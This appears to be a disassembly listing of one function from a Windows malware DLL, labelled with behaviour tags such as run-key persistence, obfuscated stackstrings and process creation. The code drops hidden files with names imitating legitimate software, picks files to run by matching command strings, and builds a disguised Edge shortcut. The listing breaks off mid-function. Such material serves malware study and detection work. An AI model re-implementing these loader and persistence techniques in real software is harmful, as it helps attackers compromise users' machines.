Function at 0x180003740
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2190]
mov eax, 0x2290
call fcn.180015ad0
sub rsp, rax
movaps xmmword [rsp + 0x2280], xmm6
movaps xmmword [rsp + 0x2270], xmm7
mov r14, rcx
lea rdx, [rbp + 0xbc0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.180003100
mov r9, rax
lea r8, [rbp + 0xbc0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x670]
call fcn.180009020
lea r8, [rbp + 0xbc0]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0x9a0]
call fcn.180009020
lea r8, [rbp + 0xbc0]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0x1420]
call fcn.180009020
lea rcx, [rbp + 0xa8]
call fcn.180002f80
nop
lea rcx, [rbp + 0xc8]
call fcn.180002f80
nop
xor r15d, r15d
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r15b
lea r8d, [r15 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x70]
call fcn.1800088d0
nop
lea r8d, [r15 + 1]
lea rdx, [0x18004ae10]
lea rcx, [rbp - 0x70]
call fcn.180008a30
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea r8d, [r15 + 6]
lea rdx, str.config
lea rcx, [rsp + 0x50]
call fcn.180008a30
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800038e7
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800038e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000512f
call fcn.180015238
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180003935
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003930
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005135
call fcn.180015238
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x88]
call fcn.1800088d0
nop
mov r8d, 1
lea rdx, [0x18004ae10]
lea rcx, [rbp + 0x88]
call fcn.180008a30
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rbp + 0x68]
call fcn.180008a30
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x18004ae10]
lea rcx, [rbp + 0x48]
call fcn.180008a30
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.180008a30
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x70]
call fcn.180008a30
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180003b2c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000513b
call fcn.180015238
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180003b7a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005141
call fcn.180015238
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x180003bc8
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003bc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005147
call fcn.180015238
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x180003c16
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000514d
call fcn.180015238
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x180003c6a
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005153
call fcn.180015238
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x30]
call fcn.1800088d0
nop
mov r8d, 1
lea rdx, [0x18004ae10]
lea rcx, [rbp - 0x30]
call fcn.180008a30
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rsp + 0x50]
call fcn.180008a30
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180003d8a
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003d85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005159
call fcn.180015238
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180003dd7
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003dd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000515f
call fcn.180015238
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180003e25
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005165
call fcn.180015238
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae r8, qword [rbp + 0x28]
lea rdx, [0x18004ae1c]
lea rcx, [rbp + 0x780]
call fcn.180009020
mov qword [rbp - 0x10], r15
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
lea rax, [rbp + 0x780]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180003e70
lea rdx, [rbp + 0x780]
lea rcx, [rbp - 0x10]
call fcn.1800088d0
nop
lea rcx, [rbp - 0x10]
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp + 8]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp]
test rdx, rdx
je 0x180003ed6
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x180003ed1
cmp r8, rcx
je 0x180003ed6
dec r8
cmp byte [r8], 0x5c
jne 0x180003ec3
sub r8, rcx
jmp 0x180003edd
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp - 0x10]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x30]
call fcn.1800088d0
nop
mov r8d, 0x12
lea rdx, str.mhRCPlayer_dll.dll
lea rcx, [rbp - 0x30]
call fcn.180008a30
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180003f78
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003f73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000516b
call fcn.180015238
movups xmmword [rbp - 0x10], xmm6
movups xmmword [rbp], xmm7
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180003fbb
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003fb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005171
call fcn.180015238
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r8, qword [rbp - 0x10]
lea rdx, [0x18004ae1c]
lea rcx, [rbp + 0x1310]
call fcn.180009020
lea rax, [rbp + 0xed0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call fcn.180003100
mov r9, rax
lea r8, [rbp + 0xed0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0xab0]
call fcn.180009020
lea r8, [rbp + 0xed0]
lea rdx, str._s_arphadump64.dll
lea rcx, [rbp + 0xfe0]
call fcn.180009020
lea r8, [rbp + 0xed0]
lea rdx, str._sVALORANT.exe
lea rcx, [rbp + 0x560]
call fcn.180009020
call fcn.180003100
mov r9, rax
lea r8, [rbp + 0xbc0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x1860]
call fcn.180009020
lea rcx, [rbp + 0x2d0]
call fcn.180007d30
nop
mov qword [rsp + 0x30], r15
mov word [rsp + 0x38], 1
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x318]
mov qword [rsp + 0x70], rax
test rax, rax
sete byte [rsp + 0x78]
mov byte [rsp + 0x79], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r15
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10]
call fcn.18000aef0
nop
lea rcx, [rbp + 0x2e0]
call fcn.1800087a0
test rax, rax
jne 0x180004127
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r9, [rbp + 0x2d0]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], 0
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002590
lea rcx, [0x180056070]
call fcn.18001c790
mov dword [rsp + 0x30], 0x61657771
mov dword [rsp + 0x34], 0x32316473
mov dword [rsp + 0x38], 0x63787a33
mov ecx, 0xc
call fcn.180015240
mov qword [rbp - 0x70], rax
lea rbx, [rax + 0xc]
mov qword [rbp - 0x60], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.180017350
mov qword [rbp - 0x68], rbx
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.180002be0
mov qword [rbp - 0x50], r15
mov rcx, r15
mov qword [rbp - 0x40], rcx
mov r8d, 0xf
mov qword [rbp - 0x38], r8
mov byte [rbp - 0x50], cl
mov rdi, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x10]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x1800041c5
lea rcx, [rbp - 0x50]
call fcn.180009780
mov rcx, r15
mov qword [rbp - 0x40], rcx
mov r8, qword [rbp - 0x38]
lea rax, [rbp - 0x50]
mov qword [rbp + 0x21c8], rax
cmp rbx, rdi
je 0x180004219
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x1800041fe
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180004207
lea rcx, [rbp - 0x50]
call fcn.1800098d0
inc rbx
cmp rbx, rdi
je 0x180004219
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
jmp 0x1800041d5
lea rdx, str.__w__________________
lea rcx, [rbp + 0x1a0]
call fcn.180006d80
nop
mov qword [rbp + 0x1d0], r15
mov byte [rbp + 0x1d8], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
mov qword [rbp + 0x200], r15
mov byte [rbp + 0x208], 0
movdqa xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x220], 0
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x230], r15
mov byte [rbp + 0x238], 0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
add rdx, qword [rbp - 0x40]
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rax, qword [rbp - 0x50]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
lea rcx, [rbp + 0x1a0]
mov qword [rbp + 0x100], rcx
mov dword [rbp + 0x108], r15d
mov qword [rbp + 0x110], r15
mov byte [rbp + 0x118], 0
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmmword [rbp + 0x130], xmm1
mov qword [rbp + 0x140], r15
mov byte [rbp + 0x148], 0
movdqa xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x160], 0
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x170], r15
mov byte [rbp + 0x178], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x1a0]
lea r8, [rbp + 0x110]
mov rcx, rax
call fcn.180009280
mov rbx, qword [rbp + 0x100]
test al, al
cmove rbx, r15
mov qword [rbp + 0x100], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r15
mov qword [rbp + 0x260], r15
mov byte [rbp + 0x268], 0
movdqa xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov qword [rbp + 0x290], r15
mov byte [rbp + 0x298], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], r15
mov qword [rbp + 0x2c0], r15
mov byte [rbp + 0x2c8], 0
lea r12, str.qddll
lea r13, str.runexe
mov rdi, qword [rbp + 0x120]
nop dword [rax]
nop dword [rax + rax]
test rbx, rbx
sete al
test al, al
jne 0x1800049ed
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x4f0]
call fcn.180005360
nop
mov rcx, qword [rbp + 0x508]
mov rsi, qword [rbp + 0x500]
sub rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x1800048c1
cmp byte [rsi + 0x28], 0
je 0x180004439
movups xmm0, xmmword [rsi + 0x18]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004442
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x180004477
sub r8, rdx
lea rcx, [rsp + 0x30]
call fcn.1800088d0
nop
cmp byte [rsi + 0x40], 0
je 0x180004488
movups xmm0, xmmword [rsi + 0x30]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004491
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x1800044c6
sub r8, rdx
lea rcx, [rsp + 0x50]
call fcn.1800088d0
nop
cmp byte [rsi + 0x58], 0
je 0x1800044d7
movups xmm0, xmmword [rsi + 0x48]
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800044e0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov ebx, 0xf
mov qword [rbp - 0x18], rbx
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x180004514
sub r8, rdx
lea rcx, [rbp - 0x30]
call fcn.1800088d0
mov rbx, qword [rbp - 0x18]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x1800547e0]
call fcn.180008e00
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.18000b090
mov rcx, rax
lea rdx, [0x18004ae84]
call fcn.180008e00
lea rdx, [rsp + 0x30]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x48]
cmp r9, 0x10
cmovae rdx, r8
mov r10, qword [rsp + 0x40]
cmp r10, 5
jne 0x1800045ae
mov rcx, r15
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r12 + rcx - 1]
jne 0x180004599
cmp rcx, 5
jne 0x180004580
mov eax, r15d
jmp 0x18000459e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800045ae
lea rdx, [rbp + 0x1310]
jmp 0x180004778
lea rdx, [rsp + 0x30]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 6
jne 0x1800045fe
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x1800045e9
cmp rcx, 6
jne 0x1800045d0
mov eax, r15d
jmp 0x1800045ee
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800045fe
lea rdx, [rbp + 0xab0]
jmp 0x180004778
lea rdx, [rsp + 0x30]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 6
jne 0x18000464e
mov rcx, r15
lea r11, str.rundll
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004639
cmp rcx, 6
jne 0x180004620
mov eax, r15d
jmp 0x18000463e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000464e
lea rdx, [rbp + 0xfe0]
jmp 0x180004778
lea rax, [rsp + 0x30]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x18000468c
cmp byte [rax], 0x62
jne 0x180004677
cmp byte [rax + 1], 0x77
jne 0x180004677
cmp byte [rax + 2], 0x6a
jne 0x180004677
mov eax, r15d
jmp 0x18000467c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000468c
lea rdx, [rbp + 0x670]
jmp 0x180004778
lea rax, [rsp + 0x30]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x1800046ca
cmp byte [rax], 0x64
jne 0x1800046b5
cmp byte [rax + 1], 0x6c
jne 0x1800046b5
cmp byte [rax + 2], 0x6c
jne 0x1800046b5
mov eax, r15d
jmp 0x1800046ba
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800046ca
lea rdx, [rbp + 0x9a0]
jmp 0x180004778
lea rax, [rsp + 0x30]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 2
jne 0x1800046ff
cmp byte [rax], 0x71
jne 0x1800046ed
cmp byte [rax + 1], 0x64
jne 0x1800046ed
mov eax, r15d
jmp 0x1800046f2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800046ff
lea rdx, [rbp + 0x1420]
jmp 0x180004778
lea rdx, [rsp + 0x30]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 5
jne 0x18000474b
mov rcx, r15
lea r11, str.qdexe
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004739
cmp rcx, 5
jne 0x180004720
mov eax, r15d
jmp 0x18000473e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000474b
lea rdx, [rbp + 0x780]
jmp 0x180004778
lea rcx, [rsp + 0x30]
cmp r9, 0x10
cmovae rcx, r8
cmp r10, 0xa
jne 0x18000478e
mov r8, r10
lea rdx, str.tgp_daemon
call fcn.180017c60
test eax, eax
jne 0x18000478e
lea rdx, [rbp + 0x560]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
call fcn.180002ab0
lea rcx, [rbp + 0xab0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800047b2
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xab0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800047d6
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0xfe0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800047fb
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xfe0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
cmp rbx, 0x10
jb 0x180004834
lea rdx, [rbx + 1]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000482e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005177
call fcn.180015238
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180004871
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000486c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000517d
call fcn.180015238
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800048c1
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800048bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005183
call fcn.180015238
mov rdi, qword [rbp + 0x120]
mov rbx, qword [rdi + 8]
xor dl, dl
cmp qword [rdi], rbx
jne 0x180004918
mov rdx, qword [rbp + 0xf8]
cmp rbx, rdx
je 0x18000496b
mov ecx, dword [rbp + 0x108]
or ecx, 0x60
mov rax, qword [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x100]
lea r8, [rbp + 0x110]
mov rcx, rbx
call fcn.180009280
test al, al
jne 0x180004977
mov dl, 1
mov eax, dword [rbp + 0x108]
bts eax, 8
mov dword [rbp + 0x108], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x100]
lea r8, [rbp + 0x110]
mov rdx, qword [rbp + 0xf8]
mov rcx, rbx
call fcn.180009280
test al, al
jne 0x180004977
mov rdi, qword [rbp + 0x120]
mov rbx, r15
mov qword [rbp + 0x100], rbx
jmp 0x180004985
mov rdi, qword [rbp + 0x120]
mov rbx, qword [rbp + 0x100]
test rsi, rsi
je 0x1800043d0
mov rcx, qword [rbp + 0x510]
sub rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800049e0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005189
mov rcx, rsi
call fcn.180015238
jmp 0x1800043d0
mov r8, r14
lea rdx, str._sWindows_Edge.lnk
lea rcx, [rbp + 0x1200]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x780]
lea rdx, str.__s_
lea rcx, [rbp + 0x1530]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1530]
lea rdx, [rbp + 0x780]
